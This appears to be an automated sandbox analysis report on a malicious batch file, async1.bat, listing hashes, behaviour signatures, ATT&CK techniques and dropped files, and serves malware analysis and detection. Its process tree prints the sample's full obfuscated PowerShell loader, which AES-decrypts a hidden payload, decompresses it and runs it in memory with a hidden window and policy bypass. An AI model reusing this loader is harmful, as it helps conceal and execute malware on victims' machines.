80c1568ef979e0d9881fa33ee69c3f8c15caa924acd4df9e4c951a7047577caa

Analysis

max time kernel
42s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
10/01/2023, 08:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

async1.bat
Size

53KB
MD5

48c5d502eb750b327615dec7362dabf9
SHA1

93d7f7ce15d1ffc3b584056eadef6f72deede6bb
SHA256

80c1568ef979e0d9881fa33ee69c3f8c15caa924acd4df9e4c951a7047577caa
SHA512

15abd3360d6e9fa55892199a94f57d3d4a32798a15a5bb406d42bdb458cd679f4a27f8e310b4579d4b9c38d4384fd1e4015508ea68970c678facdf4a9cedc411
SSDEEP

768:OonA1XlKQLUXpAyDnezCBrVvb5XEzbtMUVD96UKi2MLo2TmOtSBNodnU6gQBM:KXwQLUX/SC/v1UzbtTl1E238nyUBQBM

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1536	async1.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
536	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1536	async1.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1536	async1.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 1536	536	cmd.exe	28
PID 536 wrote to memory of 1536	536	cmd.exe	28
PID 536 wrote to memory of 1536	536	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\async1.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:536
- C:\Users\Admin\AppData\Local\Temp\async1.bat.exe
  "async1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $YJBbV = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\async1.bat').Split([Environment]::NewLine);foreach ($NkUDf in $YJBbV) { if ($NkUDf.StartsWith(':: ')) { $JcNlJ = $NkUDf.Substring(3); break; }; };$JzMFw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($JcNlJ);$SCaAH = New-Object System.Security.Cryptography.AesManaged;$SCaAH.Mode = [System.Security.Cryptography.CipherMode]::CBC;$SCaAH.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$SCaAH.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poUZgytmmU5AjB6HrelvPa2m9IAI5avoBXgweEVtJHM=');$SCaAH.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZJ8AebITHPrLQOysxJlupA==');$bcmpg = $SCaAH.CreateDecryptor();$JzMFw = $bcmpg.TransformFinalBlock($JzMFw, 0, $JzMFw.Length);$bcmpg.Dispose();$SCaAH.Dispose();$pvpsr = New-Object System.IO.MemoryStream(, $JzMFw);$fgJRB = New-Object System.IO.MemoryStream;$SFExd = New-Object System.IO.Compression.GZipStream($pvpsr, [IO.Compression.CompressionMode]::Decompress);$SFExd.CopyTo($fgJRB);$SFExd.Dispose();$pvpsr.Dispose();$fgJRB.Dispose();$JzMFw = $fgJRB.ToArray();$CxiQm = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($JzMFw);$Psztc = $CxiQm.EntryPoint;$Psztc.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\async1.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\async1.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1536-57-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

Filesize
8KB

Download
memory/1536-58-0x000007FEF4A40000-0x000007FEF5463000-memory.dmp

Filesize
10.1MB

Download
memory/1536-60-0x0000000002320000-0x00000000023A0000-memory.dmp

Filesize
512KB

Download
memory/1536-59-0x000007FEF3EE0000-0x000007FEF4A3D000-memory.dmp

Filesize
11.4MB

Download